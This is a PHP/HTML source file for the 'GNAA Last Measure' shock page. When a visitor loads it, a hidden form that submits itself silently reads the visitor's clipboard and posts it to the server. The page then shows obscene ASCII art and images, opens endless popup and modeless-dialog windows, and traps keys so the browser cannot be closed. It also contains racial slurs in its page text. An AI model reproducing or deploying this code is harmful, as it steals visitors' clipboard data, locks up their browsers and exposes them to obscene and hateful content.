| 1 | <?php |
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| 2 | function list_images() { |
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| 3 | $files = array(); |
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| 4 | $dh = opendir("images/"); |
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| 5 | while(($file = readdir($dh)) != false) { |
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| 6 | $ext = substr($file, -3); |
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| 7 | if($ext == 'jpg' || $ext == 'gif') { |
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| 8 | $files[] = 'images/'.$file; |
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| 9 | } |
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| 10 | } |
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| 11 | closedir($dh); |
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| 12 | return $files; |
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| 13 | } |
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| 14 | |
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| 15 | function get_random($files) { |
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| 16 | return $files[rand(0,count($files)-1)]; |
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| 17 | } |
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| 18 | |
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| 19 | function goatse() { ?> |
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| 20 | <pre> |
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| 21 | * g o a t s e x * g o a t s e x * g o a t s e x * |
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| 22 | g g |
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| 23 | o / \ \ / \ o |
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| 24 | a| | \ | | a |
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| 25 | t| `. | | : t |
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| 26 | s` | | \| | s |
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| 27 | e \ | / / \\\ --__ \\ : e |
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| 28 | x \ \/ _--~~ ~--__| \ | x |
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| 29 | * \ \_-~ ~-_\ | * |
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| 30 | g \_ \ _.--------.______\| | g |
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| 31 | o \ \______// _ ___ _ (_(__> \ | o |
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| 32 | a \ . C ___) ______ (_(____> | / a |
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| 33 | t /\ | C ____)/ LAST \ (_____> |_/ t |
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| 34 | s / /\| C_____) MEASURE| (___> / \ s |
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| 35 | e | ( _C_____)\______/ // _/ / \ e |
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| 36 | x | \ |__ \\_________// (__/ | x |
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| 37 | * | \ \____) `---- --' | * |
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| 38 | g | \_ ___\ /_ _/ | g |
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| 39 | o | / | | \ | o |
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| 40 | a | | / \ \ | a |
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| 41 | t | / / | | \ |t |
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| 42 | s | / / \__/\___/ | |s |
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| 43 | e | / / | | | |e |
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| 44 | x | | | | | |x |
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| 45 | * g o a t s e x * g o a t s e x * g o a t s e x * |
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| 46 | </pre> |
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| 47 | <?php |
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| 48 | } |
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| 49 | |
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| 50 | function hey_everybody() { ?> |
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| 51 | <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" |
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| 52 | codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" |
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| 53 | width="1" height="1" id="hey" align=""> |
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| 54 | <param name="movie" value="hey.swf"></param> |
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| 55 | <embed src="hey.swf" width="1" height="1" name="hey" align="" |
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| 56 | type="application/x-shockwave-flash" |
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| 57 | pluginspage="http://www.macromedia.com/go/getflashplayer"></embed> |
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| 58 | </object> |
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| 59 | <?php |
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| 60 | } |
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| 61 | |
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| 62 | ?> |
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| 63 | <html> |
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| 64 | <head> |
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| 65 | <title>GNAA Last Measure Unified</title> |
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| 66 | <script language="JavaScript"> |
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| 67 | <?php include("js.inc"); ?> |
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| 68 | </script> |
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| 69 | </head> |
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| 70 | <?php |
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| 71 | $send = $_POST['send']; |
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| 72 | $popup = $_GET['popup']; |
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| 73 | $procreate = $_GET['procreate']; |
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| 74 | |
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| 75 | if(!$popup && !$send && !$procreate) { |
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| 76 | /* Just connected! Get the clipboard */ ?> |
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| 77 | <body> |
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| 78 | <?php goatse(); ?> |
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| 79 | <form name="clip" method="post" action="index.php" style="display:none"> |
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| 80 | <input type="text" name="content"> |
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| 81 | <input type="hidden" name="send" value="1"> |
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| 82 | <input type="hidden" name="refer" value="<?php echo $refer; ?>"> |
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| 83 | <input type="hidden" name="user" value="<?php echo $user; ?>"> |
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| 84 | <input type="submit"> |
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| 85 | </form> |
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| 86 | <script language="javascript"> |
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| 87 | // without this if statement check, it bombs out with an error |
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| 88 | if (typeof clipboardData != 'undefined') { |
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| 89 | var content = clipboardData.getData("Text"); |
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| 90 | document.forms["clip"].elements["content"].value = content; |
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| 91 | } |
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| 92 | document.forms["clip"].submit(); |
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| 93 | </script> |
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| 94 | </body><?php |
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| 95 | |
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| 96 | } elseif($send) { |
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| 97 | /* First connection. Spawn shit. */ |
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| 98 | $files = list_images(); |
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| 99 | ?> |
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| 100 | <body background="hello.jpg" bgcolor="#ffffff" |
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| 101 | onmousemove="playBall();" onLoad="playBall();" |
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| 102 | leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> |
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| 103 | <form> |
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| 104 | <input type="submit" value="CLICK ME" name="CLICK ME" |
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| 105 | style="width: 2000px; height: 2000px; |
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| 106 | background-image: url('<?php echo get_random($files);?>');" |
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| 107 | src="hello.jpg" height="300" width="300" |
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| 108 | onmouseover="if(is_ie) {showModelessDialog('index.php?procreate=1'); |
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| 109 | return true; }document.goatse.reset();playBall(); |
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| 110 | return true;" |
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| 111 | onclick="if(is_ie) {showModelessDialog('index.php?procreate=1'); |
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| 112 | return true; } playBall();return true;" |
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| 113 | onmouseout="if(is_ie) {showModelessDialog('index.php?procreate=1'); |
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| 114 | return true; } else{procreate();} |
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| 115 | playBall();return true;"> |
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| 116 | <img src="<?php echo get_random($files);?>" |
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| 117 | onmouseover="if(is_ie) {showModelessDialog('index.php?procreate=1'); |
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| 118 | return true; } procreate();playBall();return true;" |
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| 119 | onmouseout="if(is_ie) {showModelessDialog('index.php?procreate=1'); |
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| 120 | return true; }"> |
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| 121 | <big><b>GNAA > j00</b></big> |
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| 122 | <br /> |
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| 123 | fristage postage is mine |
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| 124 | <?php hey_everybody(); ?> |
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| 125 | <br> |
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| 126 | Lastmeasure last measure last-measure nero institute |
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| 127 | </form> |
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| 128 | <form name="goatse" onreset="procreate();" onsubmit="procreate();" action="" id="goatse"> |
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| 129 | <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p> |
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| 130 | </form> |
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| 131 | </body><?php |
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| 132 | |
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| 133 | } elseif($procreate) { |
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| 134 | ?> |
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| 135 | <body bgColor="#ffffff" |
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| 136 | onload="document.goatse.reset();playBall();return true;bookmark();" |
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| 137 | onKeyDown="altf4key();ctrlkey();delkey();" |
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| 138 | onMouseOver="procreate();playBall();"> |
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| 139 | <h1>PROCREATING LAST MEASURE!!!</h1> |
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| 140 | <h1>GNAA > j00</h1> |
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| 141 | <h1>Fristage Postage is MINE.</h1> |
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| 142 | <h1>EAT THIS, GOOGLE TOOLBAR.</h1> |
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| 143 | fucking nigger operating system.. at least in fucking Firebird you don't |
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| 144 | have to do this shit. |
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| 145 | <?php hey_everybody(); ?> |
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| 146 | <form name="goatse" action="#" ONreset="procreate(); return true;"> |
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| 147 | </form> |
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| 148 | </body> |
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| 149 | <?php |
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| 150 | |
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| 151 | } elseif($popup) { |
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| 152 | $files = list_images(); |
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| 153 | $image = get_random($files); |
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| 154 | ?> |
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| 155 | <body background="<?php echo $image;?>" bgColor="#ffffff" |
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| 156 | onload="document.goatse.reset();playBall();return true;bookmark();" |
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| 157 | onKeyDown="altf4key();ctrlkey();delkey();" |
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| 158 | onMouseOver="procreate();playBall();"> |
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| 159 | <form name="goatse" action="#" ONreset="procreate();return true;"> |
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| 160 | <img src="<?php echo $image;?>" |
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| 161 | onMouseOver="procreate();playBall();return true;" /> |
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| 162 | </form> |
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| 163 | </body> |
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| 164 | <?php |
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| 165 | } |
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| 166 | ?> |
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| 167 | </html> |
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